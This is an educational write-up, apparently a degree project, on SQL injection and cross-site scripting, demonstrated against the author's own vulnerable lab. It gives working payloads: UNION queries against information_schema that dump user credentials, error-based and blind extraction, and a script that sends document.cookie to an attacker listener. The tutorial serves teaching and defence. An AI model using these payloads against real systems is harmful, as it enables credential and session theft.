Disclaimer: All tests presented below have been conducted within a controlled environment specifically designed for strictly educational purposes. At no point have any tests been performed on production systems, public networks, or third-party infrastructures. The sole objective of this study is didactic and academic, within the framework of a Higher Degree final project. Any misuse of the knowledge exposed herein for malicious or illegal purposes is strictly condemned and rejected.
SQL Injections are one of the most well-known and dangerous vulnerabilities that can occur in web applications.
This vulnerability is caused by poor sanitization of user-supplied inputs, forcing the application to interpret this input as executable code rather than plain text.
Potentially, injections can allow a threat actor to read tables they should not have access to, enabling them to reach sensitive data such as passwords, financial records, customer data, medical records, etc.
It can interfere with the normal behavior of the system, allowing attackers, for example, to bypass authentication mechanisms in a vulnerable application.
Furthermore, it can read and write files on the operating system, potentially allowing an attacker to gain full control over the machine by uploading and executing a malicious file.
Below, I will explain the numerous types of SQL injections, their root causes, their possible remediations, and, through the DVSQLA laboratory, you will be able to practically experiment with all these variants and the effects of potential solutions.
It is worth highlighting that DVDBA is a vulnerable web laboratory that I am developing in parallel with this project, which exemplifies everything explained in this document.
Likewise, this application offers a quick and straightforward installation from GitHub so that anyone can perform the tests conducted throughout this document within a secure and controlled environment.
Its exploitation is remarkably simple: you merely need to complete or extend the syntax of the code so that it behaves exactly as you intend.
Once you supply the injection payload, because the application is incapable of sanitizing the input, it will interpret it as part of the database query and execute it.
The root cause of SQL Injection—and generally of all injection vulnerabilities such as XSS Injection, XML Injection, and even Prompt Injection—stems from a failure in validating user-supplied data, causing it to be interpreted on the server as executable code rather than plain text.
In the specific case of SQL Injection, the most common cause is interpolating data directly into the query string without passing it through a function that validates and binds the data for the SQL query, such as bindParam in PHP.
In the code above, we can clearly observe the issue: the data provided by the user is embedded directly into the source code.
This causes the application to interpret the input payload as active code.
While this is the most common and destructive way to introduce an SQLi vulnerability, it is crucial to note that it is not the only one.
Just like an ill person, a vulnerable application will provide clues and indicators that alert us to a potential vulnerability without necessarily requiring full exploitation.
In the specific context of an SQLi vulnerability, the entire flaw manifests due to incorrect validation of user-supplied data, causing the system to interpret certain statements as code and execute them.
For this reason, there are specific inputs we can use to detect a potential SQLi vulnerability without executing an intrusive intrusion:
Let's perform a test:
Here we can see a standard login page along with the query that is being executed behind the scenes. Now, I will input my name, which for some reason includes a single quote character (').
Fatal error—the first symptom.
Outside the local network, this would surface as an Internal Server Error.
Analyzing the query, we can clearly see what occurred: that single quote broke the string boundaries and left plain text floating outside the SQL field syntax, which the engine cannot parse, thus throwing an error. This demonstrates that the input is not being sanitized, meaning we can inject arbitrary code.
A prime example of this is the classic ' OR 1=1-- \- injection. Let's look at an example:
Here we have an e-commerce search bar. When looking up an item, such as "chairs," it executes the query and retrieves the relevant matches.
However, what happens if I introduce a boolean value?
As seen in the query, it now evaluates a search condition, but we have appended a logical OR statement with a boolean value of true (which is always satisfied). Consequently:
The application will return EVERY single entry residing within the database table—in this case, all products.
Here we can clearly see what the query result would be: in addition to the criteria already specified, a 10-second wait time will be appended. Therefore, we can unmistakably differentiate whether the application is executing our supplied code in a non-intrusive manner.
The impact of an SQL Injection once successfully exploited depends heavily on the privilege mapping and least-privilege practices implemented during the database creation. Proper access controls can prevent the damage from escalating from a minor data leak to a full-scale system compromise, potentially allowing an attacker to:
In summary, the blast radius of a potential injection is not restricted solely to a database leak—which is severe on its own—but can easily escalate to a total system compromise.
Depending on how the vulnerable query is structured or how the web application handles and returns data, we must adapt our techniques accordingly. The available spectrum ranges from reading unauthorized data to modifying database records or even reading and writing local files.
Below, I will break down the different techniques and methods used to exploit this vulnerability across various scenarios.
This represents one of the primary dangers of SQL injections. This scenario typically arises due to an unvalidated input within a WHERE clause, as seen in the following example:
This condition allows a threat actor to pull records from a query that they should not be authorized to view, for example:
Here we have an e-commerce platform with a search feature. By analyzing the query structure being utilized, we can deduce the following:
id, nombre (name), precio (price), and descripción (description) columns. Store table. status equals 1.Based on this logic, we should never be able to view a product whose status is not equal to 1.
When conducting a standard search—in this case, looking up the keyword "monitor"—we can see it returns two products, both containing a status value of 1.
Now, let's assume we are attackers aiming to view products that are currently hidden or unavailable (status 0). To achieve this, we can exfiltrate the data by commenting out the rest of the query condition (status = '1') using the following input:
This injection is relatively straightforward: I input the term I want to search for ("monitor"), complete the string syntax, and comment out the remainder of the query block.
This is the result: upon executing this search, we discover a monitor with a status of 0—a record we should not be allowed to see.
Inspecting the query reveals exactly what is happening: we have commented out the entire trailing condition enforcing status = 1. As a result, that restriction is completely ignored, granting us unauthorized access to hidden entries.
Another method to retrieve all data is appending conditions that evaluate to true across the board, such as the widely known ' OR 1=1 -- \-
We can observe that the application now returns absolutely every entry within the database regardless of its status. This means hidden or sensitive records are dumped seamlessly.
Looking closely at the query explains why.
Within the WHERE clause, the following evaluation takes place:
% Because the OR 1=1 boolean condition is always satisfied, the query returns the entire table contents.
UNION is an SQL operator that allows combining the result sets of two or more SELECT statements into a single result set. Let's look at an example of its standard operation outside of an exploitation context:
What happens here is simple: the rows resulting from the second query are appended directly underneath the rows of the first column structure within the same output table.
In normal web development, this is used to consolidate views without modifying extensive code; however, in the context of SQL Injection, it allows an attacker to query entirely different tables and extract unauthorized data:
Returning to our storefront page and inspecting the query architecture, we can verify that the original statement selects 5 columns. Therefore, our injected secondary query must also select exactly 5 columns to prevent a structural mismatch error.
As a side note, in pentesting scenarios where the exact column count is unknown, we can map it out using the ORDER BY clause. If you reference a column index that does not exist in the original SELECT statement, the database will throw a sorting error:
By adjusting this index increment, we can determine the precise number of columns present in the query.
Excellent. In this example, we want to extract sensitive data, specifically users and their respective passwords. However, we do not know the table name or its column names. We can solve this via a UNION injection by querying the system's database metadata—specifically information_schema in MySQL. Let's construct a payload to map out the available tables.
Since we only need to extract the TABLE_NAME field initially, we will inject the following string: ' UNION SELECT 1, table_name, 2, 3, 4 FROM information_schema.tables -- \-
Note a particular detail here: we only require data from a single column, but we must explicitly supply 5 columns to match the query structure. We populate the remaining positions with static integers to fill out the array safely and avoid type conflicts.
Here are the extracted tables. The one we are interested in is named usuarios (users). Since we still need to determine its specific columns, we will query information_schema.columns using the following payload: ' UNION SELECT 1, column_name, 2, 3, 4 FROM information_schema.columns WHERE table_name = "usuarios" -- \-
This time, I appended a WHERE condition to strictly filter columns belonging to our target table (usuarios).
And there they are: the three columns inside the usuarios table. Now, we can proceed to dump the user credentials, utilizing UNION once more to pull both usernames and passwords simultaneously.
And just like that, the database returns all usernames and plain/hashed passwords directly onto the application screen.
It is worth noting that this is only one of the many capabilities offered by the UNION statement; advanced techniques such as local file read/write operations and its application inside Error-Based injections will be explored further down.
On many occasions, the inherent logical flow of an application can be used against itself when paired with an SQL Injection vulnerability, allowing an attacker to perform actions that should be restricted.
This is highly subjective and depends entirely on the design of the target platform. Let's look at a practical authentication bypass:
Here we have a standard authentication page. This login form processes an unvalidated query that checks for an entry where both the username and password match a database record. If a match is found, the user session is granted.
However, we can perform a tactic as simple as appending an SQL comment inline right after the username field.
As we can see, it grants us access immediately without needing a password. Why did this occur? Let's check the query.
By analyzing the query string, we can see that our injected comment characters truncated the statement, effectively deleting the password verification condition from the engine's execution path. Therefore, the only requirement checked is whether the username exists, successfully forcing an authentication bypass.
This is just one example; depending on the application's nature, multiple advanced logic manipulation techniques can be crafted based on the attacker's ingenuity.
This category occurs when the application does not return data or database records directly on the screen, requiring alternative inference techniques to extract information:
This method applies when, despite not displaying explicit data records, the application behaves differently depending on whether the database query evaluates to TRUE or FALSE. Here is an example:
This page receives a flag value and cross-references it against the database using an unvalidated query. If the flag exists, it returns a message stating the flag is valid; otherwise, it outputs a negative response indicating it is invalid.
We can leverage this binary feedback loop to map out and extract records character by character.
When appending the payload AND 1=1 -- \-, the page evaluates it as a valid flag response because the condition is true. However:
When introducing a false condition (AND 1=2 -- \-), it yields a negative response. We can leverage this behavior to systematically extract sensitive records. Let's look at an automation scenario.
My objective is to extract user passwords through this conditional feedback.
To do this, I will craft an SQL query structure that returns TRUE only if a specific character at a specific position matches our guess.
Now, I will write a basic Python script to automate this brute-force process character by character, which is significantly faster than a traditional brute-force attack against a login portal.
In short, this script iterates through a list of possible characters to reconstruct the target password string sequentially based on the page's HTTP response.
Unlike conventional credential guessing, this inference method is extremely efficient, dumping passwords in a matter of seconds regardless of their length or complexity.
In this specific instance, it took exactly 12 seconds.
This technique is not restricted to passwords; any database field across any table can be mapped out using this automated boolean approach.
This approach becomes necessary when the application does not alter its visual response or text based on boolean logic, but still exposes internal database error logs when a query fails.
When handling an error-based injection, an attacker deliberately triggers specific runtime errors within the database engine to force it to dump sensitive information within the error message itself. Two scenarios can occur:
The database error strings are rendered directly onto the web interface.
In this case, I triggered an syntax error simply by inputting a single quote ('). As we can observe, this page—which normally stays silent—discloses the complete database error string on the screen.
Certain database functions can be abused to output our target data inside these verbose error fields. Let's look at a specific payload:
This injected statement abuses the MySQL XML function EXTRACTVALUE to attempt parsing data from a malformed path. The second argument—where the path is expected—is replaced with our target SQL query. When the engine fails to parse the string, it throws a path syntax error containing the evaluated data we wanted to exfiltrate.
As displayed on the screen, the error message returns the targeted password string directly where a file path structure was expected.
The database error messages are NOT visible on the web interface.
This means we cannot read text from error logs; however, we can still perceive whether the application encounters an internal database error (such as an HTTP 500 status code) or handles it successfully (HTTP 200).
We can build a conditional query that intentionally forces a fatal error—such as a division by zero—only if our specific character guess is true. Let's evaluate a quick concept proof:
This statement uses an IF condition. In this case, the condition evaluates to false, so the database skips the error-inducing branch and executes smoothly.
Conversely, if the condition evaluates to true, the engine attempts to execute a division by zero, instantly throwing a database exception.
Now, applying this exact concept to our blind exfiltration strategy, we can modify the conditional block to analyze data lengths or characters character by character.
In this query, if the character at position 1 matches our targeted guess, the engine triggers a division by zero (causing a server crash or error response). If it does not match, the page loads normally.
Let's see it in action. When the condition is false:
When the condition is true:
Just like before, we can leverage a lightweight Python script to automate this error-detection process, extracting data in seconds by tracking the server's status code changes.
The logic remains identical to the boolean script, except it listens for an explicit error state rather than a change in the page text.
Now, we enter the most restrictive scenario for an attacker: a situation where the application is vulnerable to injection, but it returns absolutely no visual differences, no text changes, and no error indicators. In this environment, our only resource is injecting payloads that instruct the database engine to pause execution for a specific duration, using time as our data channel.
As demonstrated, even when inducing an explicit syntax error, the interface suppresses all messages and outputs a generic fallback.
Thus, the only way to validate code execution is to inject a time delay.
The function we leverage is SLEEP(), which forces a pause in MySQL, letting us verify if our conditional guesses evaluate to true based on how long the server takes to respond.
This represents our baseline conditional statement used to drive the automation script.
The primary difference in this script compared to previous versions is that instead of parsing content or errors, it records the exact HTTP response latency to confirm matching characters.
While this method is naturally slower due to the sleep overhead, it remains infinitely faster and more precise than conventional guess-based dictionary attacks.
The scenario unfolds as follows: the application allows us to submit and store data inside the database safely (e.g., creating a username, posting a store item, etc.). This initial input query utilizes parameterized statements or escaping, making it safe from immediate exploitation. However, the stored string itself contains an embedded payload. When a secondary, poorly configured module of the application later pulls this data out of storage to construct a new query, the payload is executed. Let's analyze an example:
Here we can see a registration form that inserts an entry into the database.
By checking the backend code, we can verify that this initial routine is securely handled and immune to standard SQLi attacks.
However, this entry is later retrieved to process a completely different function on a separate dashboard.
And this secondary query is completely vulnerable to string concatenation.
Therefore, to exploit it, we insert a payload into the database during registration. It sits dormant until the second routine fetches it and concatenates it into the vulnerable query string.
In this case, I registered a payload through the form designed to exfiltrate usernames and passwords upon retrieval.
Checking the query execution logs reveals the result: the secondary routine fetched our stored string, treated it as raw executable commands, and executed our injection smoothly.
This specific storage-retrieval attack flow is also highly prevalent in Stored Cross-Site Scripting (XSS) attacks, which we will analyze in the next section.
Cross-Site Scripting (XSS) is a vulnerability that allows an attacker to execute arbitrary client-side scripts—typically JavaScript—directly within the browser of a victim user.
This vulnerability occurs when the application fails to sanitize or encode special HTML characters within user-supplied inputs, allowing script tags to be embedded into the page structure and executed by the browser rendering the content.
The most common method used to detect this vulnerability is injecting the alert() function. This creates a harmless but unmistakable visual popup confirming that JavaScript execution was successful.
Here is our payload. If the application is vulnerable, it will skip character escaping and print the <script> tag directly into the HTML source code, prompting the browser to fire the alert.
Upon accessing the message log view, the browser processes the raw HTML, executes the injected JavaScript, and triggers the popup before the rest of the page even finishes loading.
Furthermore, the injected script remains entirely invisible to a regular user unless they explicitly inspect the source code.
Looking at the source code confirms our theory: the PHP code does not implement encoding functions like htmlspecialchars() to escape special characters. Consequently, the browser interprets the script as native page elements and runs it under the victim's session context.
Reflected XSS occurs when an application receives an input from an HTTP request (frequently via URL parameters or GET requests), and immediately processes and reflects that data in the response without proper validation, though it fails to persist it in the database. Let's look at its exploitation:
On this page, we find a simple search bar. When a search is conducted, the application prints the query term back to the user on the screen.
By injecting a quick test script using the JavaScript alert() function, we can check for an XSS vulnerability.
Once the search executes, the alert box pops up, confirming that the input parameter is reflected directly into the DOM without validation.
Now that the vulnerability is confirmed, we can craft an weaponized payload from an attacker's perspective:
<script>fetch('http://localhost:8000/' + document.cookie, { method: 'GET'});</script>
This payload reads the active session cookies (document.cookie) of the user viewing the link and exfiltrates them via a GET request to an attacker-controlled HTTP listener.
As shown, since the payload is bound directly to the URL string, anyone who clicks this specific link will unconsciously transmit their active session cookies to our server.
The attacker's terminal shows the captured incoming request containing the victim's session token.
If the target form utilized POST requests instead of GET, the attack delivery would adjust, requiring an attacker to host a malicious page that automatically submits the form parameters on behalf of the victim via JavaScript.
Because this vulnerability is reflected, the attacker must actively lure or phish the victim into clicking the crafted malicious link for the attack to succeed.
In this scenario, the exploit is significantly easier to manage for an attacker because the malicious payload is saved permanently on the application server. This removes the need to distribute custom malicious links; the attacker simply plants the script once and waits for users to naturally visit the infected page.
Here we have a standard support ticketing page that allows users to send messages directly to an administrator. Once again, the application backend fails to utilize htmlspecialchars() or equivalent encoding libraries, allowing us to plant active scripts.
I submit a new support ticket containing our cookie-exfiltration payload.
When the system administrator logs in to review their pending support inbox, the message appears completely normal on the surface.
However, in the background, the browser processes the stored script tags automatically.
As a result, the administrator's privileged session token is silently transmitted and captured on our HTTP listener.
PortSwigger SQL Injection
PortSwigger Cross-Site Scripting
OWASP SQL Injection
OWASP Cross-Site Scripting
Radware SQL Injection Fundamentals
Halfond, W. G. J., Viegas, J., & Orso, A. (2006). A classification of SQL-injection attacks and countermeasures. Proceedings of the IEEE International Symposium on Secure Software Engineering.